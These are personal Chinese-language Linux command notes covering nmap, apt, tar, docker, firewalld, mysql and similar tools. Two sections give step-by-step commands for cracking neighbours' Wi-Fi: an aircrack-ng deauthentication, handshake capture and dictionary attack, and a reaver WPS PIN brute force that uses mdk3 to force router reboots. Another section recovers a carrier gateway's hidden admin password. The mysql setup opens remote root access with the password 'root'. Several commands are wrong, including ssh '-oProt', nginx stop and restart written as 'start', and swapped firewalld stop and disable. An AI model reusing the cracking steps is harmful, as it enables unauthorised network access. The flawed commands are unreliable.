个人笔记整理

文章目录

扫描局域网存活主机

进行ping扫描,打印出对扫描做出响应的主机:  

nmap -sP 192.168.1.0/24  

仅列出指定网络上的每台主机,不发送任何报文到目标主机:  

nmap -sL 192.168.1.0/24  

探测目标主机开放的端口,可以指定一个以逗号分隔的端口列表(如-PS22,23,25,80):  

nmap -PS 192.168.1.234  

使用UDP ping探测主机:  

使用频率最高的扫描选项:SYN扫描,又称为半开放扫描,它不打开一个完全的TCP连接,执行得很快:  

nmap -sS 192.168.1.0/24

执行扫描之后就可以 cat /proc/net/arp查看arp缓存表了

使用apt更新和升级系统软件

apt终端命令

apt是Advanced Packaging Tool, 是Ubuntu下的安装包理工具,大部分的软件安装/更新/卸载都是利用apt命令来 实现的, 直接在终端中输入apt 即可以查阅命令的帮助信息

●常用命令如下:

1.安装软件
$ sudo apt install 软件名

2.卸载软件
$ sudo apt remove 软件名

3.更新可用软件包列表
$ sudo apt update

4.更新已安装的包
$ sudo apt upgrade

通常安装完ubuntu之后, 可以先使用upgrade 更新一下当前系统中可以升级的的软件包
$ sudo apt update
$ sudo apt upgrade

安装常用工具
提示apt安装命令的格式是不需要记忆的,如果在终端中输入的软件没有安装,系统会提示apt命令的使用格式

Python 程序员
$ sudo apt install ipython

$ sudo apt install ipython3

$ sudo apt install python-pip

$ sudo apt install python3-pip

C++程序员
$ sudo apt install cmake
$ sudo apt install qtcreator

ruby程序员
$ sudo apt install ruby

安装ssh服务器
sudo apt install openssh-server
安装之后,才可以在其他系统中,通过ssh工具远程登陆

拓展:apt和apt-get

apt和apt-get都是ubuntu下常用的安装软件的命令

早期使用apt-get,从ubuntu 16开始,官方建议使用apt

这两个命令的使用方式非常类似

ssh指定端口连接

sftp -oProt=123 user@hostname

ssh -oProt=123 user@hostname

tar命令操作

1.命令格式:

	tar[必要参数][选择参数][文件] 

2.命令功能:

	用来压缩和解压文件。tar本身不具有压缩功能。他是调用压缩功能实现的 

3.命令参数:

	必要参数有如下:

	-A 新增压缩文件到已存在的压缩

	-B 设置区块大小

	-c 建立新的压缩文件

	-d 记录文件的差别

	-r 添加文件到已经压缩的文件

	-u 添加改变了和现有的文件到已经存在的压缩文件

	-x 从压缩的文件中提取文件

	-t 显示压缩文件的内容

	-z 支持gzip解压文件

	-j 支持bzip2解压文件

	-Z 支持compress解压文件

	-v 显示操作过程

	-l 文件系统边界设置

	-k 保留原有文件不覆盖

	-m 保留文件不被覆盖

	-W 确认压缩文件的正确性

	可选参数如下:

	-b 设置区块数目

	-C 切换到指定目录

	-f 指定压缩文件

	--help 显示帮助信息

	--version 显示版本信息

4.常见解压/压缩命令

	tar 
		解包:tar xvf FileName.tar
		打包:tar cvf FileName.tar DirName

		(注:tar是打包,不是压缩!)

	.gz
		解压1:gunzip FileName.gz
		解压2:gzip -d FileName.gz
		压缩:gzip FileName
	.tar.gz 和 .tgz
		解压:tar zxvf FileName.tar.gz
		压缩:tar zcvf FileName.tar.gz DirName

破解wifi

1. iwconfig ###***查看网卡

2. sudo airmon-ng start 网卡名(wlan1)###***启动网卡监听模式



3. iwconfig ###***查看网卡

4. sudo airodump-ng 网卡名(wlan1mon)###***扫描附近wifi Ctr+c结束扫描
	BSSID(路由器MAC)              PWR(信号强度小的强)  Beacons    #Data, #/s  CH(信道)  MB   ENC  CIPHER AUTH ESSID(wifi名称)
5. sudo airodump-ng --bssid 路由器MAC(F4:83:CD:87:7C:E5) -c 信道(11) -w 抓包保存路径 网卡名(wlan1mon)###***开始抓包

6. sudo aireplay-ng -0 攻击次数(8) -c 连接设备MAC(34:E2:FD:11:17:C9) -a 路由器MAC(F4:83:CD:87:7C:E5) 网卡名 ###***启动攻击让连接设备重连与路由器发送握手包
	WPA handshake: F4:83:CD:87:7C:E5 ###***抓包成功
7. sudo airmon-ng stop 网卡名(wlan1mon)###***停止网卡监听模式

8. sudo aircrack-ng -a2 -b 路由器MAC(F4:83:CD:87:7C:E5) -w 密码字典路径 抓到的握手包路径 ###***跑字典匹配密码

pin码破解

1.
2. 
3.
4. 找出开启了 WPS 功能、可以使用 PIN码 登录的路由器,并另外记录下该 AP 的 BSSID(约等于该 AP 的 MAC 地址):
	wash  -i  wlan0mon
5. 开始进行 PIN码 穷举破解(注意末尾的参数是 2 个小写字母 v):
	reaver -i wlan0mon -b xx:xx:xx:xx:xx:xx -vv
	参数说明:
		-i  无线网卡名称
		-b  目标AP的mac地址
		-a  自动检测目标AP最佳配置
		-S  使用最小的DH key,可以提高破解速度
		-vv  显示更多的非严重警告(注意这是 2 个小写字母 v)
		-d  即delay每穷举一次的闲置时间 预设为1秒
		-c  信道编号
		-p  PIN码四位或八位  //可以用8位直接找到密码。
		破解时推荐使用这个命令:reaver -i wlan0mon -b D8:15:0D:D6:13:92 -a -S -d9 -t9 -vv,因为–d9 –t9参数可以防止pin死路由器。
6. 获取到 PIN码 后,以后即便路由器更换了密码,我们也可以很迅速地通过 PIN码 重新获得新密码。以上方获取到的信息举例:
	reaver  -i  wlan0mon -b  xx:xx:xx:xx:xx:xx  -p 12316977
7. 【注意事项】
		1、如果在执行 reaver 命令后看到有 WARNING: Failed to associate with xx:xx:xx:xx:xx:xx 这样的提示信息,
			那么应该是你选择了一个不具备或关闭了 WPS 功能的路由器。
			这种情况下就执行wash 命令并重新选择一个路由器吧。
		2、如果在执行 reaver 命令后看到有 warning detected ap rate limiting waiting 60 seconds before re-checking 这样的提示信息,这表示目标路由器开启了防 PIN破解 功能。
			因为我们是穷举 PIN码 进行破解的,当连续使用超过某个次数的 PIN码 后,路由器会暂时锁定 WPS 功能一段时间。
			这种情况下要么我们耐心等待其恢复 WPS 功能,要么执行 mdk3 wlan0mon a -a xx:xx:xx:xx:xx:xx (这是上面的目标AP的MAC地址)命令让路由器主动重启或被动重启以恢复 WPS 功能

查看磁盘

Linux 查看磁盘空间可以使用 df 和 du 命令	
- df 以磁盘分区为单位查看文件系统,可以获取硬盘被占用了多少空间,目前还剩下多少空间等信息。
	例如,我们使用df -h命令来查看磁盘信息, -h 选项为根据大小适当显示:
		显示内容参数说明:
		Filesystem:文件系统
		Size: 分区大小
		Used: 已使用容量
		Avail: 还可以使用的容量
		Use%: 已用百分比
		Mounted on: 挂载点

- du:查询文件或文件夹的磁盘使用空间
	如果当前目录下文件和文件夹很多,使用不带参数du的命令,
	可以循环列出所有文件和文件夹所使用的空间。这对查看究竟是那个地方过大是不利的,
	所以得指定深入目录的层数,参数:--max-depth=,这是个极为有用的参数!如下,注意使用“*”,
	可以得到文件的使用空间大小. 
	
	du -h --max-depth=0 data

Linux查看进程

ps命令

-a,查看所有

-u,以用户(user)的格式显示

-x, 显示后台进程运行参数

-ef,以全格式显示进程所有信息,包括父进程Pid,创建人,创建时间,进程号。等等
-aux 查看进程详细信息

一般项目中,我们首先要查询一个进程,并对其进行删除会用一下命令

ps -a | grep helloworld 或

ps -ef |grep helloworld 或者其他

查询到helloworld相关的进程,我们通过kill命令来操作该进程号删除该进程,kill -9  13492

bash快捷键光标移动到行首行尾等

ctrl键组合
	ctrl+a:光标移到行首。
	ctrl+b:光标左移一个字母
	ctrl+c:杀死当前进程。
	ctrl+d:退出当前 Shell。
	ctrl+e:光标移到行尾。
	ctrl+h:删除光标前一个字符,同 backspace 键相同。
	ctrl+k:清除光标后至行尾的内容。
	ctrl+l:清屏,相当于clear。
	ctrl+r:搜索之前打过的命令。会有一个提示,根据你输入的关键字进行搜索bash的history
	ctrl+u: 清除光标前至行首间的所有内容。
	ctrl+w: 移除光标前的一个单词
	ctrl+t: 交换光标位置前的两个字符
	ctrl+y: 粘贴或者恢复上次的删除
	ctrl+d: 删除光标所在字母;注意和backspace以及ctrl+h的区别,这2个是删除光标前的字符
	ctrl+f: 光标右移
	ctrl+z : 把当前进程转到后台运行,使用’ fg ‘命令恢复。比如top -d1 然后ctrl+z ,到后台,然后fg,重新恢复
esc组合
	esc+d: 删除光标后的一个词
	esc+f: 往右跳一个词
	esc+b: 往左跳一个词
	esc+t: 交换光标位置前的两个单词。

c++编译命令

g++ -o helloworld.exe .\helloworld.cpp 编译exe
g++ -shared -o helloworld.dll .\helloworld.cpp 编译dll动态链库

JNI使用

编写包含native接口的java文件
编译java文件
使用javah class名称生成jni的.h头文件
按照生成的头文件中生成的函数名编写c代码
编译生成动态链库
动态链库打入jar包后不能直接载入调用,需要解压到临时文件夹后使用绝对路径调用

pip

查看已安装列表
	pip list
安装模块 
	pip install 模块名
卸载模块
	pip uninstall 模块名
更新pip
	python -m pip install --upgrade pip

将pip源更换到国内镜像

用pip管理工具安装库文件时,默认使用国外的源文件,因此在国内的下载速度会比较慢,可能只有50KB/s。幸好,国内的一些顶级科研机构已经给我们准备好了各种镜像,下载速度可达2MB/s。
其中,比较常用的国内镜像包括:

(1)阿里云 http://mirrors.aliyun.com/pypi/simple/
(2)豆瓣http://pypi.douban.com/simple/
(3)清华大学 https://pypi.tuna.tsinghua.edu.cn/simple/
(4)中国科学技术大学 http://pypi.mirrors.ustc.edu.cn/simple/
(5)华中科技大学http://pypi.hustunique.com/

注意:新版ubuntu要求使用https源。

设置方法:(以清华镜像为例,其它镜像同理)
(1)临时使用:
可以在使用pip的时候,加上参数-i和镜像地址(如
https://pypi.tuna.tsinghua.edu.cn/simple),
例如:pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pandas,这样就会从清华镜像安装pandas库。

(2)永久修改,一劳永逸:
(a)Linux下,修改 ~/.pip/pip.conf (没有就创建一个文件夹及文件。文件夹要加“.”,表示是隐藏文件夹)
内容如下:

[global]
index-url = https://pypi.tuna.tsinghua.edu.cn/simple
[install]
trusted-host = https://pypi.tuna.tsinghua.edu.cn

(b) windows下,直接在user目录中创建一个pip目录,如:C:\Users\xx\pip,然后新建文件pip.ini,即 %HOMEPATH%\pip\pip.ini,在pip.ini文件中输入以下内容(以豆瓣镜像为例):

[global]
index-url = http://pypi.douban.com/simple
[install]
trusted-host = pypi.douban.com

创建pip.ini文件可以用文本编辑器,例如 sublime text3。

docker

docker 
	start 容器名称或id
	stop 容器名称或id
	restart 容器名称或id
	continer
		ls 查看运行中的容器
		ls --all 查看本地所有容器
	image
		ls 查看本地所有镜像
停止所有运行中的容器
	docker stop $(docker ps -q)
删除所有运行中的容器
	docker rm $(docker ps -aq)

nginx

启动 /etc/init.d/nginx start
停止 /etc/init.d/nginx start
重启 /etc/init.d/nginx start

请输入数字 [1-15]:1
[信息] 开始设置 ShadowsocksR账号配置...
请输入要设置的ShadowsocksR账号 端口
(默认: 2333):7777

——————————————————————————————
	端口 : 7777
——————————————————————————————

请输入要设置的ShadowsocksR账号 密码
(默认: wenziju.com):zzzzzzzz

查看端口号占用

1,lsof -i:端口号
2,netstat -tunlp|grep 端口号
这两个命令都可以查看端口被什么进程占用。

烽火HG2201T网关

http://192.168.1.1:8080/cgi-bin/baseinfoSet.cgi

网上说用python脚本进行解密,实际没必要,超密一般就是telecomadmin+八位数字,所以后面8组数字就代表8为数字 从48到57就是0到9。	
密码表就是:&48(0) &49(1) &50(2) &51(3) &52(4) &53(5) &54(6) &55(7) &56(8) &57(9)

120&105&112&105&103&115&113&101&104&113&109&114 &56&51&52&56&52&53&49&48& (telecomadmin83484510)
用户名 :telecomadmin 密码:telecomadmin83484510

git

git push -u origin master	//提交到远程仓库
git commit -m "提交说明" 	//提交代码
git add 文件名 				//添加到缓冲区

查看当前路径命令

pwd

Linux zip命令用于压缩文件。

zip是个使用广泛的压缩程序,文件经它压缩后会另外产生具有".zip"扩展名的压缩文件。

语法
zip [-AcdDfFghjJKlLmoqrSTuvVwXyz$][-b <工作目录>][-ll][-n <字尾字符串>][-t <日期时间>][-<压缩效率>][压缩文件][文件...][-i <范本样式>][-x <范本样式>]
参数:

-A 调整可执行的自动解压缩文件。
-b<工作目录> 指定暂时存放文件的目录。
-c 替每个被压缩的文件加上注释。
-d 从压缩文件内删除指定的文件。
-D 压缩文件内不建立目录名称。
-f 此参数的效果和指定"-u"参数类似,但不仅更新既有文件,如果某些文件原本不存在于压缩文件内,使用本参数会一并将其加入压缩文件中。
-F 尝试修复已损坏的压缩文件。
-g 将文件压缩后附加在既有的压缩文件之后,而非另行建立新的压缩文件。
-h 在线帮助。
-i<范本样式> 只压缩符合条件的文件。
-j 只保存文件名称及其内容,而不存放任何目录名称。
-J 删除压缩文件前面不必要的数据。
-k 使用MS-DOS兼容格式的文件名称。
-l 压缩文件时,把LF字符置换成LF+CR字符。
-ll 压缩文件时,把LF+CR字符置换成LF字符。
-L 显示版权信息。
-m 将文件压缩并加入压缩文件后,删除原始文件,即把文件移到压缩文件中。
-n<字尾字符串> 不压缩具有特定字尾字符串的文件。
-o 以压缩文件内拥有最新更改时间的文件为准,将压缩文件的更改时间设成和该文件相同。
-q 不显示指令执行过程。
-r 递归处理,将指定目录下的所有文件和子目录一并处理。
-S 包含系统和隐藏文件。
-t<日期时间> 把压缩文件的日期设成指定的日期。
-T 检查备份文件内的每个文件是否正确无误。
-u 更换较新的文件到压缩文件内。
-v 显示指令执行过程或显示版本信息。
-V 保存VMS操作系统的文件属性。
-w 在文件名称里假如版本编号,本参数仅在VMS操作系统下有效。
-x<范本样式> 压缩时排除符合条件的文件。
-X 不保存额外的文件属性。
-y 直接保存符号连接,而非该连接所指向的文件,本参数仅在UNIX之类的系统下有效。
-z 替压缩文件加上注释。
-$ 保存第一个被压缩文件所在磁盘的卷册名称。
-<压缩效率> 压缩效率是一个介于1-9的数值。
实例
将 /home/html/ 这个目录下所有文件和文件夹打包为当前目录下的 html.zip:

zip -q -r html.zip /home/html
如果在我们在 /home/html 目录下,可以执行以下命令:

zip -q -r html.zip *
从压缩文件 cp.zip 中删除文件 a.c

zip -dv cp.zip a.c

unzip命令

unzip命令用于解压缩由zip命令压缩的“.zip”压缩包。

语法
unzip(选项)(参数)
选项
-c:将解压缩的结果显示到屏幕上,并对字符做适当的转换;
-f:更新现有的文件;
-l:显示压缩文件内所包含的文件;
-p:与-c参数类似,会将解压缩的结果显示到屏幕上,但不会执行任何的转换;
-t:检查压缩文件是否正确;
-u:与-f参数类似,但是除了更新现有的文件外,也会将压缩文件中的其他文件解压缩到目录中;
-v:执行时显示详细的信息;
-z:仅显示压缩文件的备注文字;
-a:对文本文件进行必要的字符转换;
-b:不要对文本文件进行字符转换;
-C:压缩文件中的文件名称区分大小写;
-j:不处理压缩文件中原有的目录路径;
-L:将压缩文件中的全部文件名改为小写;
-M:将输出结果送到more程序处理;
-n:解压缩时不要覆盖原有的文件;
-o:不必先询问用户,unzip执行后覆盖原有的文件;
-P<密码>:使用zip的密码选项;
-q:执行时不显示任何信息;
-s:将文件名中的空白字符转换为底线字符;
-V:保留VMS的文件版本信息;
-X:解压缩时同时回存文件原来的UID/GID;
-d<目录>:指定文件解压缩后所要存储的目录;
-x<文件>:指定不要处理.zip压缩文件中的哪些文件;
-Z:unzip-Z等于执行zipinfo指令。
参数
压缩包:指定要解压的“.zip”压缩包。

实例
将压缩文件text.zip在当前目录下解压缩。

unzip test.zip
将压缩文件text.zip在指定目录/tmp下解压缩,如果已有相同的文件存在,要求unzip命令不覆盖原先的文件。

unzip -n test.zip -d /tmp
查看压缩文件目录,但不解压。

unzip -v test.zip
将压缩文件test.zip在指定目录/tmp下解压缩,如果已有相同的文件存在,要求unzip命令覆盖原先的文件。

unzip -o test.zip -d tmp/

查看开机启动项

systemctl list-unit-files |   grep enable

服务项信息重载

systemctl daemon-reload

列出所有服务状态

service --status-all

linux修改文件所有者和文件所在组

chgrp  用户名    文件名  -R
chown 用户名   文件名  -R
-R表示递归目录下所有文件

Linux添加/删除用户和用户组

本文总结了Linux添加或者删除用户和用户组时常用的一些命令和参数。
1、建用户:
adduser phpq                             //新建phpq用户
passwd phpq                               //给phpq用户设置密码
2、建工作组
groupadd test                          //新建test工作组
3、新建用户同时增加工作组
useradd -g test phpq                      //新建phpq用户并增加到test工作组
注::-g 所属组 -d 家目录 -s 所用的SHELL
4、给已有的用户增加工作组
usermod -G groupname username  (这个会把用户从其他组中去掉)
usermod -a groupname username
或者:gpasswd -a user group
如果添加了用户,添加了组,然后使这个组里的人都可以sudo 到公共账号下
可以/etc/sudoers.d 下面建立一个文件内容如下 ,就可以是etl组的所有用户都可以无密码的切到etl用户下。
%etl ALL=(ALL) NOPASSWD: /bin/su etl
%etl ALL=(ALL) NOPASSWD: /bin/su - etl
sudo 具体参考 http://www.cnblogs.com/xd502djj/p/6641475.html
5、临时关闭:在/etc/shadow文件中属于该用户的行的第二个字段(密码)前面加上*就可以了。想恢复该用户,去掉*即可。
或者使用如下命令关闭用户账号:
passwd peter –l
重新释放:
passwd peter –u
6、永久性删除用户账号
userdel peter
groupdel peter
usermod –G peter peter   (强制删除该用户的主目录和主目录下的所有文件和子目录)
7、从组中删除用户
编辑/etc/group 找到GROUP1那一行,删除 A
或者用命令
gpasswd -d A GROUP
8、显示用户信息
id user
cat /etc/passwd

安装/配置mysql

1. 创建mysql组和用户
	groupadd mysql
	useradd -g mysql mysql

2. 初始化mysql
	./bin/mysqld --initialize --user=mysql --basedir=/software/mysql/mysql8 --datadir=/software/mysql/mysql8/data
3. 配置my.cnf文件  /etc/my.cnf或者$basedir/my.cnf
	[mysqld]
	basedir=//software/mysql/mysql8
	datadir=//software/mysql/mysql8/data
	socket=/tmp/mysql.sock
	user=mysql
	port=3306
	character_set_server=utf8
	# Disabling symbolic-links is recommended to prevent assorted security risks
	symbolic-links=0

	[mysqld_safe]
	log-error=//software/mysql/mysql8/data/error.log
	pid-file=//software/mysql/mysql8/data/mysqld.pid
	tmpdir=/tmp
4. mysql添加到系统服务
	cp support-files/mysql.server /etc/init.d/mysqld
5. 修改服务文件
	vim /etc/init.d/mysqld
	basedir=/home/apps/mysql
	datadir=/home/apps/mysql/data
	mysqld_pid_file_path=/home/apps/mysql/data/mysqld_pid
6. 设置root密码
	ALTER USER 'root'@'localhost' IDENTIFIED BY 'dlkSJDUdE&*@;x86';
7. 设置允许远程登录
	默认的mysql只允许本地登录,所以需要设置允许远程登录
	mysql -uroot -p 
	use mysql
	GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
	GRANT USAGE ON *.* TO 'root'@'%'  IDENTIFIED BY  'xxx';(xxx是密码)
	flush privileges;
	或者
		update mysql.user set host = '%' where user = 'username';

xz压缩工具

语法
	xz(选项)(参数)
	xz [OPTION]... [FILE]...
选项
	-z, --compress    # 强制压缩
	-d, --decompress, --uncompress
					  # force decompression
	-t, --test        # 测试压缩文件的完整性
	-l, --list        # 列出有关.xz文件的信息
	-k, --keep        # 保留(不要删除)输入文件
	-f, --force       # 强制覆盖输出文件和(解)压缩链接
	-c, --stdout, --to-stdout
					  # 写入标准输出,不要删除输入文件
	-0 ... -9         # 压缩预设; 默认为6; 取压缩机*和*
					  # 使用7-9之前解压缩内存使用量考虑在内!
	-e, --extreme     # 尝试通过使用更多的CPU时间来提高压缩比;
					  # 要求不影响解压缩存储器
	-T, --threads=NUM # 最多使用NUM个线程; 默认值为1;  set to 0
					  # 设置为0,使用与处理器内核一样多的线程
	-q, --quiet       # 抑制警告; 指定两次以抑制错误
	-v, --verbose     # 冗长; 指定两次更详细
	-h, --help        # 显示这个简洁的帮助并退出
	-H, --long-help   # 显示更多帮助(还列出了高级选项)
	-V, --version     # 显示版本号并退出

maven命令

- 指定配置文件
	mvn -s "D:\work\maven\settings\CMGAPI-settings.xml" clean install
- 下载依赖
	mvn -f pom.xml dependency:copy-dependencies

centos7防火墙管理

安装防火墙

yum install firewalld systemd -y

查看已经开放的端口:

firewall-cmd --list-ports

开放端口

firewall-cmd --zone=public --add-port=5121/tcp --permanent
# --zone 作用域
# --add-port=5121/tcp 添加端口,格式为:端口/通讯协议
# --permanent 永久生效,没有此参数重启后失效
firewall-cmd --reload

重启防火墙:

systemctl reload firewalld

1.firewalld的基本使用
	启动:  systemctl start firewalld
	查状态:systemctl status firewalld 
	停止:  systemctl disable firewalld
	禁用:  systemctl stop firewalld
	在开机时启用一个服务:systemctl enable firewalld.service
	在开机时禁用一个服务:systemctl disable firewalld.service
	查看服务是否开机启动:systemctl is-enabled firewalld.service
	查看已启动的服务列表:systemctl list-unit-files|grep enabled
	查看启动失败的服务列表:systemctl --failed
2.配置firewalld-cmd
	查看版本: firewall-cmd --version
	查看帮助: firewall-cmd --help
	显示状态: firewall-cmd --state
	查看所有打开的端口: firewall-cmd --zone=public --list-ports
	更新防火墙规则: firewall-cmd --reload
	查看区域信息:  firewall-cmd --get-active-zones
	查看指定接口所属区域: firewall-cmd --get-zone-of-interface=eth0
	拒绝所有包:firewall-cmd --panic-on
	取消拒绝状态: firewall-cmd --panic-off
	查看是否拒绝: firewall-cmd --query-panic
3.那怎么开启一个端口呢
	添加
	firewall-cmd --zone=public(作用域) --add-port=80/tcp(端口和访问类型) --permanent(永久生效)
	firewall-cmd --zone=public --add-port=80/tcp --permanent
	firewall-cmd --zone=public --add-service=http --permanent
	firewall-cmd --reload    # 重新载入,更新防火墙规则
	firewall-cmd --zone=public --query-port=80/tcp  #查看
	firewall-cmd --zone=public --remove-port=80/tcp --permanent  # 删除

	firewall-cmd --list-services
	firewall-cmd --get-services
	firewall-cmd --add-service=
	firewall-cmd --delete-service=
	在每次修改端口和服务后/etc/firewalld/zones/public.xml文件就会被修改,所以也可以在文件中之间修改,然后重新加载
	使用命令实际也是在修改文件,需要重新加载才能生效。

	firewall-cmd --zone=public --query-port=80/tcp
	firewall-cmd --zone=public --query-port=8080/tcp
	firewall-cmd --zone=public --query-port=3306/tcp
	firewall-cmd --zone=public --add-port=8080/tcp --permanent
	firewall-cmd --zone=public --add-port=3306/tcp --permanent
	firewall-cmd --zone=public --query-port=3306/tcp
	firewall-cmd --zone=public --query-port=8080/tcp
	firewall-cmd --reload  # 重新加载后才能生效
	firewall-cmd --zone=public --query-port=3306/tcp
	firewall-cmd --zone=public --query-port=8080/tcp
4.参数解释
	–add-service #添加的服务
	–zone #作用域
	–add-port=80/tcp #添加端口,格式为:端口/通讯协议
	–permanent #永久生效,没有此参数重启后失效
5.详细使用
	firewall-cmd --permanent --zone=public --add-rich-rule='rule family="ipv4" source address="192.168.0.4/24" service name="http" accept'    //设置某个ip访问某个服务
	firewall-cmd --permanent --zone=public --remove-rich-rule='rule family="ipv4" source address="192.168.0.4/24" service name="http" accept' //删除配置
	firewall-cmd --permanent --add-rich-rule 'rule family=ipv4 source address=192.168.0.1/2 port port=80 protocol=tcp accept'     //设置某个ip访问某个端口
	firewall-cmd --permanent --remove-rich-rule 'rule family=ipv4 source address=192.168.0.1/2 port port=80 protocol=tcp accept'     //删除配置

	firewall-cmd --query-masquerade  # 检查是否允许伪装IP
	firewall-cmd --add-masquerade    # 允许防火墙伪装IP
	firewall-cmd --remove-masquerade # 禁止防火墙伪装IP

	firewall-cmd --add-forward-port=port=80:proto=tcp:toport=8080   # 将80端口的流量转发至8080
	firewall-cmd --add-forward-port=proto=80:proto=tcp:toaddr=192.168.1.0.1 # 将80端口的流量转发至192.168.0.1
	firewall-cmd --add-forward-port=proto=80:proto=tcp:toaddr=192.168.0.1:toport=8080 # 将80端口的流量转发至192.168.0.1的8080端口

hydra

命令历史记录

history N 显示最近的N条命令,例如history 5 
history -d N 删除第N条命令,这个N就是前面的编号,例如history -d 666 
history -c 清空命令历史 
history -a 将当前会话中的命令历史写入指定文件

Linux下查看系统配置

- CPU
	1. lscpu:显示cpu架构信息

	[xxx@localhost ~]$ lscpu
	Architecture:          x86_64
	CPU op-mode(s):        32-bit, 64-bit
	Byte Order:            Little Endian
	CPU(s):                4          #总处理器核心数量
	On-line CPU(s) list:   0-3
	Thread(s) per core:    1          #每个核心支持的线程数量。1表示只支持一个线程,即不支持超线程
	Core(s) per socket:    1          #每个处理器的核心数量
	Socket(s):             4          #处理器数量
	NUMA node(s):          1
	Vendor ID:             GenuineIntel
	CPU family:            6
	Model:                 63
	Stepping:              0
	CPU MHz:               2599.998
	BogoMIPS:              5199.99
	Hypervisor vendor:     VMware       #管理程序供应商
	Virtualization type:   full
	L1d cache:             32K
	L1i cache:             32K
	L2 cache:              256K
	L3 cache:              30720K
	NUMA node0 CPU(s):     0-3
	复制代码
	总处理器核心数量=处理器数量*每个处理器的核心数量*每个核心支持的线程数量。即:CPU(s) = Socket(s) * Core(s) * Thread(s)。

	我们看一下MAN中是如何描述的:

	[xxx@localhost ~]$ man lscpu
	   COLUMNS
		   CPU    The logical CPU number of a CPU as used by the Linux kernel.    #逻辑CPU数量
		   CORE   The logical core number. A core can contain several CPUs.      #逻辑核心数量
		   SOCKET The logical socket number. A socket can contain several cores.   #逻辑插槽(路)数量


	2. cat /proc/cpuinfo:查看CPU详细信息

		[xxx@localhost ~]$ cat /proc/cpuinfo 
		processor       : 0
		vendor_id       : GenuineIntel
		cpu family      : 6
		model           : 63
		model name      : Intel(R) Xeon(R) CPU E5-2690 v3 @ 2.60GHz
		stepping        : 0
		cpu MHz         : 2599.998
		cache size      : 30720 KB
		fpu             : yes
		fpu_exception   : yes
		cpuid level     : 13
		wp              : yes
		flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts xtopology tsc_reliable nonstop_tsc aperfmperf unfair_spinlock pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 movbe popcnt aes xsave avx hypervisor lahf_lm ida arat epb pln pts dts
		bogomips        : 5199.99
		clflush size    : 64
		cache_alignment : 64
		address sizes   : 40 bits physical, 48 bits virtual
		power management:

		processor       : 1
		vendor_id       : GenuineIntel
		cpu family      : 6
		model           : 63
		model name      : Intel(R) Xeon(R) CPU E5-2690 v3 @ 2.60GHz
		stepping        : 0
		cpu MHz         : 2599.998
		cache size      : 30720 KB
		fpu             : yes
		fpu_exception   : yes
		cpuid level     : 13
		wp              : yes
		flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts xtopology tsc_reliable nonstop_tsc aperfmperf unfair_spinlock pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 movbe popcnt aes xsave avx hypervisor lahf_lm ida arat epb pln pts dts
		bogomips        : 5199.99
		clflush size    : 64
		cache_alignment : 64
		address sizes   : 40 bits physical, 48 bits virtual
		power management:

		processor       : 2
		vendor_id       : GenuineIntel
		cpu family      : 6
		model           : 63
		model name      : Intel(R) Xeon(R) CPU E5-2690 v3 @ 2.60GHz
		stepping        : 0
		cpu MHz         : 2599.998
		cache size      : 30720 KB
		fpu             : yes
		fpu_exception   : yes
		cpuid level     : 13
		wp              : yes
		flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts xtopology tsc_reliable nonstop_tsc aperfmperf unfair_spinlock pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 movbe popcnt aes xsave avx hypervisor lahf_lm ida arat epb pln pts dts
		bogomips        : 5199.99
		clflush size    : 64
		cache_alignment : 64
		address sizes   : 40 bits physical, 48 bits virtual
		power management:

		processor       : 3
		vendor_id       : GenuineIntel
		cpu family      : 6
		model           : 63
		model name      : Intel(R) Xeon(R) CPU E5-2690 v3 @ 2.60GHz
		stepping        : 0
		cpu MHz         : 2599.998
		cache size      : 30720 KB
		fpu             : yes
		fpu_exception   : yes
		cpuid level     : 13
		wp              : yes
		flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts xtopology tsc_reliable nonstop_tsc aperfmperf unfair_spinlock pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 movbe popcnt aes xsave avx hypervisor lahf_lm ida arat epb pln pts dts
		bogomips        : 5199.99
		clflush size    : 64
		cache_alignment : 64
		address sizes   : 40 bits physical, 48 bits virtual
		power management:


- 这样输出的话,内容有些多,看起来会有些混乱。我们可以用几条命令来查看我们想要知道的信息:

	复制代码
	# 查看物理CPU个数
	cat /proc/cpuinfo | grep "physical id" | sort | uniq

	# 查看每个物理CPU中core的个数(即核数)
	cat /proc/cpuinfo | grep "cpu cores" | uniq

	# 查看每个物理CPU中线程的个数
	cat /proc/cpuinfo | grep "siblings" | uniq

	# 查看逻辑CPU的个数
	cat /proc/cpuinfo| grep "processor"

	# 查看CPU型号
	cat /proc/cpuinfo | grep "model name" | uniq
	复制代码


- 内存
	查看/proc/meminfo或者使用free命令。free命令就是从meminfo中获取的信息。一般情况下,使用free就能得到我们想知道的信息:

	[xxx@localhost ~]$ free -m
				 total       used       free     shared    buffers     cached
	Mem:          7868        954       6914          0         64        619
	-/+ buffers/cache:        271       7597
	Swap:         4031          0       4031


	可以看出,内存大小是8G。












- 硬盘
	1. lsblk:blk是block的缩写。列出块设备

	复制代码
	[xxx@localhost ~]$ lsblk
	NAME                        MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
	sr0                          11:0    1 1024M  0 rom  
	sdb                           8:16   0  100G  0 disk 
	└─sdb1                        8:17   0  100G  0 part /data
	sda                           8:0    0   60G  0 disk 
	├─sda1                        8:1    0  500M  0 part /boot
	└─sda2                        8:2    0 59.5G  0 part 
	  ├─VolGroup-lv_root (dm-0) 253:0    0   50G  0 lvm  /
	  ├─VolGroup-lv_swap (dm-1) 253:1    0    4G  0 lvm  [SWAP]
	  └─VolGroup-lv_home (dm-2) 253:2    0  5.6G  0 lvm  /home
	复制代码


